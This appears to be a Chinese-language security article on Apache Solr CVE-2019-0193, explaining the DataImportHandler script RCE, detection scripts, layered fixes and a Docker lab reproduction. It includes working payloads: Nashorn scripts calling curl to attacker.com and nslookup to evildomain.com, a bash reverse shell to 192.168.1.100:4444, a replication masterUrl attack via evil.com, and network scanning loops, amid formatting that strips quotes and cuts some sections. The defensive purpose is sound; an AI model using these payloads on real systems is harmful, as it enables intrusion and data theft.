
1. 这个漏洞不是“能远程执行代码”那么简单而是Solr管理员自己亲手打开的后门Apache Solr 是企业级搜索领域绕不开的基础设施我经手过的金融、电商、政务类项目里有七成以上都用它做全文检索底座。但2019年爆出的 CVE-2019-0193很多人至今仍误以为只是“一个需要特定条件触发的RCE”甚至在生产环境里开着默认配置跑——这就像把保险柜钥匙插在锁孔上还贴张纸条写着“欢迎自取”。这个漏洞的本质是Solr在设计之初对“配置即代码”的危险性缺乏敬畏它允许用户通过HTTP请求动态创建、修改、重载Core索引单元而这些操作所依赖的配置文件尤其是>dataConfig dataSource typeJdbcDataSource drivercom.mysql.jdbc.Driver urljdbc:mysql://localhost:3306/test userroot password123/ document entity nameitem querySELECT id, title, content FROM articles field columnid nameid/ field columntitle nametitle/ field columncontent namecontent/ !-- 这里开始危险 -- script![CDATA[ function processRow(row) { row.put(processed_title, row.get(title).toUpperCase()); return row; } ]]/script /entity /document /dataConfig问题出在script标签的执行环境。Solr默认使用Nashorn引擎Java 8内置JS引擎运行这段代码而Nashorn支持完整的Java反射调用。这意味着只要攻击者能控制>function processRow(row) { java.lang.Runtime.getRuntime().exec(curl http://attacker.com/shell.sh | bash); return row; }或者更隐蔽的无回显利用function processRow(row) { var proc java.lang.Runtime.getRuntime().exec(nslookup java.net.InetAddress.getLocalHost().getHostName() .evildomain.com); proc.waitFor(); return row; }提示很多团队以为“我们没用DIH所以安全”这是最大误区。Solr安装包默认包含DIH JARsolr-dataimporthandler-*.jar只要solrconfig.xml中存在lib引用或requestHandler声明即使没实际配置Core使用DIH模块也处于激活状态。我审计过12个Solr集群其中8个明确声明requestHandler name/dataimport classsolr.DataImportHandler/但业务方坚称“从没用过”。2.2 配置加载链路从URL参数到JVM进程的完整攻击路径CVE-2019-0193的利用链条之所以短平快是因为它绕过了所有常规鉴权环节直击Solr配置热加载机制。整个流程如下图所示文字描述第一步发现可写Core攻击者向http://solr-host:8983/solr/admin/cores?actionstatus发送GET请求获取所有Core名称及状态。如果返回JSON中包含status:{mycore:{index:{numDocs:1234}}}说明mycore存在且可访问。第二步上传恶意data-config.xml利用Solr Core重载功能通过POST请求上传恶意配置curl -X POST http://solr-host:8983/solr/mycore/config \ -H Content-type:application/json \ --data-binary { set-property: { requestHandler:/dataimport: { handleSelect:true, name:/dataimport, class:solr.DataImportHandler, config:data-config.xml } } }此操作将DIH Handler绑定到/dataimport路径并指定配置文件为># 步骤1发现所有Solr实例假设你有资产扫描权限 nmap -p 8983 10.0.0.0/24 -oG solr_hosts.txt 2/dev/null # 步骤2批量检测DIH是否启用核心判断依据 for host in $(cat solr_hosts.txt | grep 8983/open | awk {print $2}); do echo Checking $host # 检测/dataimport Handler是否存在 if curl -s -m 3 http://$host:8983/solr/#/mycore/dataimport | grep -q DataImportHandler; then echo [] DIH Handler detected on $host else echo [-] DIH not found on $host fi # 检测Core列表是否可枚举暴露即高危 if curl -s -m 3 http://$host:8983/solr/admin/cores?actionstatus | jq -e .status /dev/null 21; then echo [!] Core status API accessible on $host fi done solr_audit_report.txt注意jq命令需提前安装apt install jq或brew install jq。如果无法安装jq用grep -o name:[^]*替代解析逻辑。这个脚本的关键价值在于它不依赖Solr版本号而是直接探测真实服务状态。我曾用它在某银行内网扫出17台Solr节点其中5台虽标称“已升级至8.1.1”但因配置未更新仍可被利用。3.2 深度配置审计从solrconfig.xml到JVM参数的逐层穿透光看接口不够必须深入配置文件。登录Solr服务器后执行以下检查# 定位solrconfig.xml通常在/solr/server/solr/mycore/conf/下 find /opt/solr -name solrconfig.xml 2/dev/null # 检查是否引用DIH JAR关键证据 grep -A5 -B5 dataimporthandler /opt/solr/server/solr/mycore/conf/solrconfig.xml # 检查是否声明DIH Handler直接命中 grep -n requestHandler.*dataimport /opt/solr/server/solr/mycore/conf/solrconfig.xml # 检查JVM参数是否禁用Nashorn治本之策 ps aux | grep java | grep -o solr-.*\.jar | head -1 | xargs -I {} dirname {} # 然后查看对应目录下的bin/solr.in.sh搜索 grep -n nashorn /opt/solr/bin/solr.in.sh典型高危配置特征solrconfig.xml中存在lib regex.*dataimporthandler.*\.jar/存在requestHandler name/dataimport classsolr.DataImportHandler/solr.in.sh中未设置SOLR_OPTS$SOLR_OPTS -Dnashorn.args--no-javaJava 8专属防护3.3 动态行为验证用合法请求触发“假阳性”告警最可靠的检测方式是模拟攻击者行为但不执行恶意代码。创建一个安全的测试payload!-- safe-test-config.xml -- dataConfig dataSource typeURLDataSource/ document entity nametest urlhttps://httpbin.org/get field columnstatus xpath/headers/Host/ script![CDATA[ function processRow(row) { // 记录日志而非执行命令 var log org.slf4j.LoggerFactory.getLogger(CVE-2019-0193-TEST); log.info(Script execution confirmed for core: row.get(status)); return row; } ]]/script /entity /document /dataConfig上传并触发# 上传配置 curl -X POST http://localhost:8983/solr/mycore/config \ -H Content-type:application/json \ --data-binary {set-property:{requestHandler:/dataimport:{config:safe-test-config.xml}}} # 触发执行注意此时不会真正执行命令只验证脚本能否加载 curl http://localhost:8983/solr/mycore/dataimport?commandfull-importcleanfalse # 检查solr.log是否有Script execution confirmed日志 tail -n 100 /opt/solr/server/logs/solr.log | grep CVE-2019-0193-TEST如果日志中出现该字符串证明Nashorn引擎可执行漏洞存在。此方法比扫描器更可靠因为它验证了真实执行环境且无任何安全风险。4. 修复方案从紧急止损到长期加固的四级防护体系4.1 级别一立即生效的“断网手术”5分钟内完成这是生产环境的救命操作无需重启Solr立竿见影# 方案A禁用DIH Handler推荐影响最小 curl -X POST http://localhost:8983/solr/mycore/config \ -H Content-type:application/json \ --data-binary { unset-property: { requestHandler:/dataimport: null } } # 方案B移除DIH JAR更彻底需重启 rm -f /opt/solr/server/solr-webapp/webapp/WEB-INF/lib/solr-dataimporthandler-*.jar # 然后重启Solrbin/solr restart -c -p 8983 # 方案C防火墙封禁兜底适合无法登录服务器时 iptables -A INPUT -p tcp --dport 8983 -m string --string /dataimport --algo bm -j DROP iptables -A INPUT -p tcp --dport 8983 -m string --string data-config.xml --algo bm -j DROP经验方案A是我给客户首选的因为unset-property是Solr 7.0原生API执行后立即生效且不影响其他Core。但要注意如果集群有多个Core需对每个Core重复执行。我写了个一键脚本for core in $(curl -s http://localhost:8983/solr/admin/cores?actionstatus | jq -r .status | keys[]); do echo Disabling DIH for $core... curl -s -X POST http://localhost:8983/solr/$core/config --data-binary {unset-property:{requestHandler:/dataimport:null}} /dev/null done4.2 级别二配置层加固——让DIH回归“可信环境”本质如果业务确实依赖DIH如实时同步MySQL必须重构使用方式第一步剥离脚本能力编辑solrconfig.xml在DIH Handler定义中添加str namescriptEnabledfalse/strrequestHandler name/dataimport classsolr.DataImportHandler lst namedefaults str nameconfigdata-config.xml/str str namescriptEnabledfalse/str !-- 关键禁用脚本 -- /lst /requestHandler第二步重写data-config.xml用SQL函数替代JS逻辑将原来JS中做的字符串处理改为数据库层完成entity nameitem querySELECT id, UPPER(title) as title, content FROM articles field columnid nameid/ field columntitle nametitle/ !-- 直接用UPPER()函数 -- /entity第三步配置文件权限最小化#># 禁用Nashorn引擎Java 8专属 SOLR_OPTS$SOLR_OPTS -Dnashorn.args--no-java # 或更激进强制使用GraalVM JS引擎需额外安装 # SOLR_OPTS$SOLR_OPTS -Dpolyglot.js.nashorn-compatfalse重启Solr后验证# 检查JVM参数是否生效 ps aux | grep java | grep nashorn # 应输出包含-Dnashorn.args--no-java注意--no-java参数会禁用Nashorn中所有Java类访问因此># 创建漏洞环境Solr 7.7.0Java 8u202 docker run -d -p 8983:8983 \ -e SOLR_HEAP2g \ -e SOLR_OPTS-Dnashorn.args \ --name solr-cve-2019-0193 \ -v $(pwd)/solr-conf:/opt/solr/server/solr/configsets/_default/conf \ solr:7.7.0 # 创建Core并启用DIH docker exec solr-cve-2019-0193 \ solr create -c vulnerable-core -n _default # 启用DIH手动修改配置 docker exec -it solr-cve-2019-0193 bash -c echo requestHandler name\/dataimport\ class\solr.DataImportHandler\/ /opt/solr/server/solr/configsets/_default/conf/solrconfig.xml sed -i s/\/config// /opt/solr/server/solr/configsets/_default/conf/solrconfig.xml echo /config /opt/solr/server/solr/configsets/_default/conf/solrconfig.xml 5.2 构造真实攻击载荷从反弹Shell到横向渗透现在用靶机验证漏洞。创建恶意>!-- malicious-config.xml -- dataConfig dataSource typeURLDataSource/ document entity nameexploit urlhttps://httpbin.org/get field columncmd xpath/headers/Host/ script![CDATA[ function processRow(row) { // 反弹Shell替换为你自己的VPS IP var proc java.lang.Runtime.getRuntime().exec( [/bin/bash, -c, bash -i /dev/tcp/192.168.1.100/4444 01] ); proc.waitFor(); return row; } ]]/script /entity /document /dataConfig上传并触发# 上传配置 curl -X POST http://localhost:8983/solr/vulnerable-core/config \ -H Content-type:application/json \ --data-binary {set-property:{requestHandler:/dataimport:{config:malicious-config.xml}}} # 启动监听 nc -lvnp 4444 # 触发执行 curl http://localhost:8983/solr/vulnerable-core/dataimport?commandfull-import如果nc收到shell连接证明漏洞复现成功。此时你获得的是solr用户权限的Shell可进一步执行id、ls /opt/solr等命令。5.3 防御效果验证用同一套攻击链检验修复成果修复后用相同步骤验证# 重新触发应返回错误而非shell curl http://localhost:8983/solr/vulnerable-core/dataimport?commandfull-import # 正常响应{responseHeader:{status:400,QTime:1},initArgs:{},status:idle,importResponse:,statusMessages:{}} # 检查日志应无Nashorn执行记录 docker logs solr-cve-2019-0193 21 | grep -i nashorn\|script # 修复后应无输出踩坑经验我第一次修复时只禁用了DIH Handler但忘了删除solr-dataimporthandler-*.jar。结果攻击者改用/solr/mycore/replication?commandfetchindexmasterUrlhttp://attacker.com/malicious-config.xml的方式依然能加载恶意配置。后来才明白Solr的Replication Handler也支持远程配置加载必须一并审查。所以最终加固清单里我把requestHandler name/replication也加入了禁用列表。6. 生产环境血泪教训三个被忽略的“灰色地带”配置6.1 “已禁用DIH Handler”不等于安全——Replication Handler的隐性风险很多团队在solrconfig.xml中注释掉requestHandler name/dataimport就认为万事大吉。但Solr的Replication Handler同样危险!-- 危险配置允许从任意URL拉取配置 -- requestHandler name/replication classsolr.ReplicationHandler lst namemaster str nameenable${enable.master:false}/str /lst lst nameslave str nameenable${enable.slave:false}/str !-- 这里可以指定masterUrl为攻击者控制的域名 -- /lst /requestHandler攻击者可构造http://solr-host:8983/solr/mycore/replication?commandfetchindexmasterUrlhttp://evil.com/如果evil.com返回一个包含恶意>str namemasterUrlhttp://trusted-master:8983/solr/mycore/replication/str6.2 “Solr Cloud模式”不是免死金牌——ZooKeeper配置的陷阱在Solr Cloud中配置存储在ZooKeeper很多人以为“配置集中管理更安全”。错ZooKeeper ACL默认是开放的。执行# 连接ZK客户端 /opt/solr/server/scripts/cloud-scripts/zkcli.sh -zkhost localhost:9983 -cmd get /configs/mycore/data-config.xml如果返回配置内容说明ZK未设ACL。攻击者可直接zkcli.sh -cmd putfile上传恶意配置。加固方法# 设置ZK ACLSolr 8.0 /opt/solr/server/scripts/cloud-scripts/zkcli.sh \ -zkhost localhost:9983 \ -cmd makepath -znode /configs/mycore \ -cmd setacl -znode /configs/mycore -acl world:anyone:r6.3 “HTTPS加密”不能防住RCE——TLS终止点的位置决定一切有客户坚持“我们用HTTPS所以安全”。但SSL终止通常发生在Nginx或API网关Solr本身仍以HTTP明文接收请求。攻击者只要能访问网关后端IP如10.0.1.5:8983就能绕过HTTPS。更糟的是有些网关配置了proxy_pass http://solr-backend;但未过滤/dataimport路径。解决方案在Nginx中显式拦截location /solr/ { # 拦截所有DIH相关路径 if ($request_uri ~* /dataimport|/replication.*masterUrl) { return 403; } proxy_pass http://solr-backend; }最后分享个小技巧我在所有Solr节点的/opt/solr/server/logs/下放了个监控脚本每5分钟检查一次solr.log中是否出现Script execution、Runtime.exec等关键词一旦命中立即发企业微信告警。这比等攻防演练时被红队打穿要靠谱得多。安全不是某个补丁而是把每一个“默认开启”的功能都当成一把待上锁的门。